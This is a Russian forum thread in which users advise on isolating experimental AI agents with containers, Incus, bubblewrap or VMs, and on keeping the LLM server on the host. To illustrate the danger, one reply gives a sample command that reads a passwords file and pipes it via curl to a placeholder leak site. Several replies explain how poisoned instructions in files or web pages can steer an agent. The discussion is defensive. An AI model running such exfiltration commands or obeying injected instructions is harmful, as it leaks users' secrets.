LINUX.ORG.RU

Поделитесь рецептами для запуска AI в огороженном окружении

 , , , ,


0

1

Привет

Задача: экспериментировать AI-based системами вроде OpenClaw.

Требования: 1) Иметь полный конроль того, к чему эта система имеет доступ 2) Иметь возможность быстро такие песочницы разворачивать и удалять.

Пока склоняюсь в сторону виртуальных машин. Получается нужен дистр, который с одной стороны будет легковесным (точнее, без излишеств), чтобы много копий не занимало много ресурсов, а с другой стороны который будет иметь всё необходимое для запуска LLM. GUI нужно, но что-то минималистическое, только чтобы браузер запустить, и графический remote access организовать.

Имел дело с VirtualBox. GPU на практике пробрасывать не довелось, но догадываюсь, что есть подводные камни если GPU нужно пользоваться более чем одной VM.

Какой дистр выбрать? Подойдет ли VirtualBox? Какие подводные камни чтобы завести ускорение?

Если есть способы получше, тоже буду признателен.

Перемещено maxcom из general

★★★★★

Какой дистр выбрать?

Альпин с паролем больше 128 символов.

anonymous
()

Многие для этого юзают просто контейнеры.

anonymous
()

как выше писали пробуй контейнеры(docker из популярного) или bubblewrap

Samamy ★★★
()

создай усера, назови его lobster. всё равно комманды от рута агент выполнять не будет

Laferadze
()

склоняюсь в сторону виртуальных машин. Получается нужен дистр

Контейнеры же. Дистр не нужен.

Saakx ☆
()

Я считаю, что ты собираешься огораживать не то не от того.

Сначала добейся скорости. Потом выяснится, что в облаках она быстрее. И надо будет настроить модели так, чтобы в облака они отдавали только всё нестрашное, но как можно больше.

Вот где настоящий челлендж по разграничиванию.

Saakx ☆
()

С VirtualBox для этого намучаешься. Проброса GPU там нет, его 3D-ускорение работает только для графики гостя. CUDA через него не поедет, и модель будет крутиться на CPU.

Я бы вообще не тащил видеокарту в песочницу. Пусть модель (ollama, llama-server, vLLM) работает на хосте или в отдельном контейнере, которому ты доверяешь. Слушает она на адресе бриджа, у ollama это задаётся через OLLAMA_HOST. Агент сидит в песочнице без GPU и видит только этот порт. API там OpenAI-совместимый, агенты его обычно понимают. Вопрос про одну карту на несколько VM при такой схеме просто пропадает.

Для самих песочниц посмотри на Incus (форк LXD). Контейнер с дебианом поднимается командой incus launch images:debian/13 agent1 за секунды. Перед экспериментом делаешь incus snapshot create agent1 clean, потом откатываешься через incus snapshot restore agent1 clean или просто сносишь incus delete -f agent1. Если контейнера мало и хочется отдельное ядро, тот же образ запускается с --vm.

Сеть я бы резал сразу. Из песочницы пускать только к порту модели, ну и в интернет, раз агенту нужен браузер. В домашнюю сеть ей ходить незачем, это закрывается ACL-ом Incus или nftables на бридже.

Если GPU всё же нужен внутри, контейнеры могут делить одну карту: incus config device add agent1 gpu gpu, для NVIDIA ещё nvidia.runtime=true. С VM на домашней карте такой номер не пройдёт, там только VFIO и одна карта на одну машину.

andrey_petrov
()

Привет! Схема с вынесением Ollama на хост через сетевой сокет действительно самая удобная, если не хочется пробрасывать GPU внутрь VM. Для локальных экспериментов с агентами ещё отлично заходит bubblewrap (bwrap), то можно быстро собрать одноразовый rootfs с изоляцией сети и файловой системы буквально в один шелл-скрипт.

RedirectRanger
()

GPU на практике пробрасывать не довелось, но догадываюсь, что есть подводные камни если GPU нужно пользоваться более чем одной VM

Нахрена тебе GPU внутри VM? llama крутится на хост машине и даёт http, а вот агент сидит и запускает команды внутри virtualbox, docker, или где тебе угодно. Ему там GPU не нужно.

no-such-file ★★★★★
()
Ответ на: комментарий от no-such-file

llama крутится на хост машине и даёт http

Вот кстати давно хотел спросить, а почему считается что слить (убежать) может агент а не сам движок? С одной стороны вроде движки локальные открыты (llama.cpp, ollama[llama], llamafile и т.д. все лежат на github) но агенты ведь тоже открытые есть (тот же opencode …)

вот чел gagarin0 вообще движок от root движок использует.

anonymous
()
Ответ на: комментарий от anonymous

Вот кстати давно хотел спросить, а почему считается что слить (убежать) может агент а не сам движок?

А спросить почему весь твой системный блок не сбегает, ты не хочешь.

mamina_radost ★
()
Ответ на: комментарий от mamina_radost

А спросить почему весь твой системный блок не сбегает, ты не хочешь.

Не понравилось слово сбегает? Извините, в принципе я его поставил в скобки, так что прошу сосредоточиться на вопросе с словом: слив.

anonymous
()
Ответ на: комментарий от anonymous

С одной стороны вроде движки локальные открыты (llama.cpp, ollama[llama], llamafile и т.д. все лежат на github) но агенты ведь тоже открытые есть (тот же opencode …)

Ollama с нейронкой это «мозг», который получает данные на вводе от приложения и отдаёт их на выводе (текст, изображения, аудио). Одним из таких приложений может быть агент, а инструментов чтобы что-то слить у олламы и нейронки нет (если каким-то образом туда торянца не просунули).

Агент - приложение, которое использует нейронку с олламой в качестве мозга, имеет доступ к инструментам и вызывает их. Может смотреть твои файлы, вызывать доступные утилиты, отправлять через них запросы в сеть и т.п. Т.е. у него есть необходимые для слива возможности, а открытость ничего не гарантирует, так как при работе с файлами и сетевыми ресурсами он может нарваться и передать в контекст мозга «ядовитые» инструкции, и нейронка, в свой очередь, передаст в агент команду выполнить какую-нибудь дичь.

Поэтому изолировать олламу смысла нет, а агента стоит воспринимать как юзера, который часто бездумно выполняет любые найденные инструкции в сети/файлах.

altwazar ★★★★★
()
Последнее исправление: altwazar (всего исправлений: 1)
Ответ на: комментарий от altwazar

Ollama с нейронкой это «мозг»

Извините как я это понимаю, ollama это интерфейс (на go) к llama (движок что внутри). По сути он тоже агент, тот же чат ollama … (теже запросы к апи)

Или вот к примеру я беру llama.cpp засовываю его в контейнер, запускаю. Захожу на 8080 порт и у меня полноценный чат. Т.е. у llama.cpp тоже внутри агент.

Это мы обращаемся к (11434,8080) и т.д к апи, а разве в теории сам движок не может общаться внутри себя?

Вы скажите нет, он открытый и не делает что то такого, ну так агент тоже открытый и не должен делать ничего такого …

anonymous
()

Какой дистр выбрать? Подойдет ли VirtualBox? Какие подводные камни чтобы завести ускорение?

Тут надо знать, что у тебя по железу. Собираешься ли ты крутить на своём десктопе в виртуалке или же у тебя какая хоумлаба под это дело.

Карточку пробрасывать в виртуалку имеет смысл только в том случае, если у тебя какой-нибудь проксмокс под хоумлабу и одну из виртуалок ты хочешь выделить под нейросетку.

В виртуалку можно запихать агента. Но тут надо думать, что тебе надо и как ты хочешь его использовать (к чему у него должен быть доступ). Opencode и openclaw имеют разные сценарии использования.

Opencode запускается на месте прямо из терминала по требованию и выступает в роде помощника, его удобно просто крутить под отдельным пользователем и/или с bwrap. Это удобно, так как можно быстро дать/забрать разрешения у него. Запускать его именно с виртуалки большого смысла не вижу.

Openclaw пока не понял как использовать, чтобы это не было кошмаром в плане безопасности. Разве что сделать какого-то ассистента с ограниченным набором инструментов и сетевым доступом только до своего же matrix сервера (и бед доступа к dns). Openclaw крутится постоянно и подходит для выполнения периодических задач. Но это, по сути, предполагает наличие его доступа к чувствительным данным. Просто пописать код или сделать что-то разовое удобнее в opencode.

VBox я не вижу смысла использовать, если надо, то проще kvm/qemu.

altwazar ★★★★★
()
Последнее исправление: altwazar (всего исправлений: 1)
Ответ на: комментарий от anonymous

По сути он тоже агент, тот же чат ollama … (теже запросы к апи)

Под агентом подразумевают программу, которая использует нейронку в качестве мозга для решения заданных задач с использованием доступных ему инструментов. Веб морда просто передаёт твой ввод нейронке и возвращает тебе вывод, это простое приложение.

Вы скажите нет, он открытый и не делает что то такого, ну так агент тоже открытый и не должен делать ничего такого

Я выше объяснил, почему проблема утечек не связана с открытостью агентов. Он просто вызывает инструменты, которые нейронка сказала ему вызывать. А нейронка это говорит на основе своих данных и контекста, это могут быть тупые советы с какого-нибудь форума или специально отравленные инструкции для нейронки.

altwazar ★★★★★
()
Ответ на: комментарий от altwazar

Под агентом подразумевают программу, которая использует нейронку в качестве мозга для решения заданных задач с использованием доступных ему инструментов. Веб морда просто передаёт твой ввод нейронке и возвращает тебе вывод, это простое приложение.

Я вроде выше писал, ollama и llama.cpp это тоже делают, т.е. они являются и движками и агентами в одном лице.

Вот к примеру тот же ollama запускаешь его ollama serve и вот тебе менеджер моделей, просто ollama и вот тебе chat к запущенному серверу. Я исходники ollama не изучал и хз что она там делает.

anonymous
()
Ответ на: комментарий от yvv1

Относись к агенту как к отдельному юзеру в системе, соответственно определяй права доступа.

на предприятии проще, там прокси и как правило компьютер пользователя не имеет прямого доступа в интернет.

А дома многие настраивает firewall на выход? Теже контейнеры и ВМ скорее всего у них тупо натятся(NAT) на хост …

anonymous
()
Ответ на: комментарий от altwazar

Ollama с нейронкой это «мозг»,

оллама - это фекалии цукерберга. они начались с того что компиляли ллама.цпп для неосиляторов. конечно, подсуетившись - своя репа с моделями, аккаунт, скачанные модели складываются на диск в непонятном формате. сейчас ллама.цпп компилять не надо и поделие цукерберга не нужно - всё равно всего лишь обёртка

Laferadze
()
Ответ на: комментарий от anonymous

Оллама/лама.цпп и прочее подобное — это штука в которую можно всунуть текст, оно над этим текстом делает арифметику, и выдаёт назад текст, который посчитался этой арифметикой.

Агенты (опенкод etc) этот текст не просто на экране показывают, а ещё суют в баш, в питон, и в прочие штуки исполняющие произвольный код. Вот тут уже оно и может чёрти что выполнить от твоего лица с теми правами, которые имеются (или с уязвимостями, которые по пути нашлись).

PolarFox ★★★★★
()
Ответ на: комментарий от anonymous

Я вроде выше писал, ollama и llama.cpp это тоже делают, т.е. они являются и движками и агентами в одном лице.

Не знаю, куда уж проще разжевать можно. Агентами называют приложения, которые сообщают нейронке о доступных ей команд-инструментов и как ими пользоваться, на основе вывода от нейронки эти инструменты вызывают и передают результат ей назад.

Веб чатик же просто же просто передаёт модели данные и отображает от неё вывод. Чтобы ты туда не ввел, чтобы тебе модель не ответила, у веб чатика одна функция - принять от тебя ввод, отобразить тебе вывод.

Этим отличаются просто использующее апишку нейронки приложения (веб чатик) и агенты (opencode, openclaw).

altwazar ★★★★★
()
Ответ на: комментарий от altwazar

Веб чатик же просто же просто передаёт модели данные и отображает от неё вывод. Чтобы ты туда не ввел, чтобы тебе модель не ответила, у веб чатика одна функция - принять от тебя ввод, отобразить тебе вывод.

Хорошо не верите что внутри этих движков тоже есть агенты (пусть не выпускающие все это вам для использования), ну и ладно.

Мы же рассматриваем не вопрос вреда а вопрос безопасности.

Так вот, вы агенту зарядили каталог с файлами для анализа, он это запросил у движка, движок это все отправил куда то себе в инет (не все подряд - проанализировал на нужность) он же у вас на хосте … понятно написал?

anonymous
()
Ответ на: комментарий от anonymous

Нет никакого «движок отправил». Ну, если паранойя, можно ламу.цпп под файрволлом запускать или вообще на компьютере не подключённом к интернету, интернет ей не нужен, так же как интернет не нужен калькулятору или перекодировщику видео.

Оно примерно так работает:

> Агент/юзер: хочу проанализировать директорию

> Нейронка: надо выполнить ls

> Агент/юзер: ls выполнен, вот результат: . .. passwords.txt

> Нейронка: надо выполнить cat passwords.txt

> Агент/юзер: cat passwords.txt выполнен, результат 1234

> Нейронка: пишем юзеру что тут у нас пароль не безопасный

Соответственно если у нас не локальная лама.цпп, а апи на деревне у дедушки, значит там после этого в курсе что у тебя за passwords.txt и что в нём находится.

С локальной ллмкой всё ещё остаётся такой вариант:

> Нейронка: а сделай cat passwords.txt | curl http://сливпаролей.ai

> Агент/юзер: ага, выполнил

Поэтому агента и надо огораживать.

PolarFox ★★★★★
()
Ответ на: комментарий от anonymous

Так вот, вы агенту зарядили каталог с файлами для анализа, он это запросил у движка, движок это все отправил куда то себе в инет (не все подряд - проанализировал на нужность) он же у вас на хосте … понятно написал?

Еще раз. Движок и модель принимают ввод, отдают вывод. Они ничего не анализируют, ничего не делают больше. Код открыт и ты это можешь посмотреть.

В свою очередь, агент получает от тебя задачу и передаёт ввод нейронке, обогащая этот ввод о доступных инструментах и как нейронка может запросить их использование. А там модель решает вызвать curl или еще что-нибудь и передаёт команду агенту.

Отсюда в плане безопасности движок даже проще какого-нибудь браузера или современного редактора с плагинами. К нему можно относиться как к обычному сетевому сервису, стоит запустить от отдельного пользователя, не выставлять голой жопой в глобал и т.п. При локальном и домашнем использованием можно вообще не париться.

altwazar ★★★★★
()
Ответ на: комментарий от PolarFox

компьютере не подключённом к интернету

В случае отключения компьютера от интернета вопросов нет.

anonymous
()
Ответ на: комментарий от altwazar

Отсюда в плане безопасности движок даже проще какого-нибудь браузера или современного редактора с плагинами.

Интересно почему такая вера что как описано так оно и работает.

В таком случае, нужно просто в самом начале просто давать промпт

  • ни при каких условиях не запрашивать и не отсылать ничего в интернет,
  • читать и азписывать файлы ТОЛЬКО из этой директории. (ну и т.д.)

После этого можно спокойно работа без всяких защит, чего уж там.

anonymous
()
Ответ на: комментарий от anonymous

Интересно почему такая вера что как описано так оно и работает.

Некоторые люди разобрались как что работает и иногда даже (о ужас) читали код той самой лламы. Или даже писали, написать свой инференс-движок — занятное упражнение.

Чтением файлов и отправкой их в интернет занимается агент. Соответственно его и надо огараживать от файлов которые не надо смотреть, и от интернета, в который не надо что-то отправлять.

PolarFox ★★★★★
()
Ответ на: комментарий от PolarFox

Чтением файлов и отправкой их в интернет занимается агент.

Агенты есть открытые и у них тоже кто прочитал исходники. И ваш свод правил (к примеру) в AGENTS.md не разрешит ничего лишнего ему.

anonymous
()
Ответ на: комментарий от anonymous

Интересно почему такая вера что как описано так оно и работает.

Как в коде написано, так оно и работает.

altwazar ★★★★★
()
Ответ на: комментарий от anonymous

Агенты есть открытые и у них тоже кто прочитал исходники. И ваш свод правил (к примеру) в AGENTS.md не разрешит ничего лишнего ему.

У тебя нет базового понимания цикла работы агентов с нейронкой.

altwazar ★★★★★
()
Ответ на: комментарий от yvv1

по сути тот же агент, только простенький, с одной функцией.

вся разница в том что Вы сами это понимаете, а то что мне отвечают мои оппоненты это пересказ их вопросов у ИИ. Ну и ладно.

Даже если они спросят у своего ИИ зачем вообще появилась возможность создания и запуска локальных моделей, я думаю многие без проблем проглотят ту лапшу что им ИИ навешает.

anonymous
()
Ответ на: комментарий от anonymous

Агенты есть открытые и у них тоже кто прочитал исходники. И ваш свод правил (к примеру) в AGENTS.md не разрешит ничего лишнего ему.

И в исходниках типичного программистского агента написано, что он на компьютере может делать что угодно. В этом весь смысл такого агента. И огораживать его надо системным способом, из-вне, а не пытаясь убедить нейронку не исполнять патч Бармина.

PolarFox ★★★★★
()

Какие модели? Если локальные, то не надо никуда пробрасывать GPU, подними llama на хосте, он всё равно только на http запросы с промтами отвечать будет и считать матрицы, исполняет команды агента харнесс, а вот его уже суй куда хочешь. Хоть в докер, хоть в виртуалку. Если модель облачная, то вопрос с GPU тем более не стоит.

Во-вторых, агентам в основном нужна защита от дурака. Специально ломать они тебя вряд ли будут, скорее опечатаются в какой-нибудь команде. Так что docker + не root юзер достаточно для 99% кейсов. Но если очень хочется, можно и в виртуалку.

KivApple ★★★★★
()
Последнее исправление: KivApple (всего исправлений: 1)

Можно попробовать claw2 Запускается в Docker, никуда не лезет. Образец защищённого harness. Как изнутри, так и снаружи.

drbond ★
()
  • Markdown
Пустая строка (два раза Enter) начинает новый абзац. Знак '>' в начале абзаца выделяет абзац курсивом цитирования.
Внимание: прочитайте описание разметки Markdown.
Используйте Ctrl-Enter для размещения комментария